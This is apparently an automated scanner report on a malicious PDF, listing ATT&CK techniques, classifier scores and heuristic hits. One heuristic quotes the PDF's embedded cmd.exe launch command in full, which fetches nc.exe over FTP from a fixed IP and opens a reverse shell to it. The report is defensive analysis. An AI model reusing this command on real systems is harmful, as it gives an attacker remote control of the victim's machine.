MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.003 Windows Command Shell
The PDF contains a critical launch action that executes cmd.exe with a complex command. This command attempts to download a file named 'nc.exe' using FTP from '10.132.11.192' and then execute it, likely establishing a reverse shell. The ML classifier and ClamAV also flagged this PDF as malicious.
Machine Learning
- Nyx PDF Classifier malicious score 0.9991
Heuristics 3
-
Launch action critical PDF_LAUNCHPDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
-
/Launch action target: cmd.exe critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/c echo binary nc.exe>C:\\ftpcmd.txt && echo get nc.exe C:\\nc.exe>>C:\\ftpcmd.txt && echo quit>>C:\\ftpcmd.txt && ftp -s:C:\\ftpcmd.txt -A 10.132.11.192 && C:\\nc.exe -d -e cmd.exe 10.132.11.192 999' — references a known-dangerous executable (cmd, PowerShell, etc.).
-
ClamAV: Pdf.Exploit.Agent-36271 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-36271
Open this report in the interactive analyzer, or submit your own file for analysis.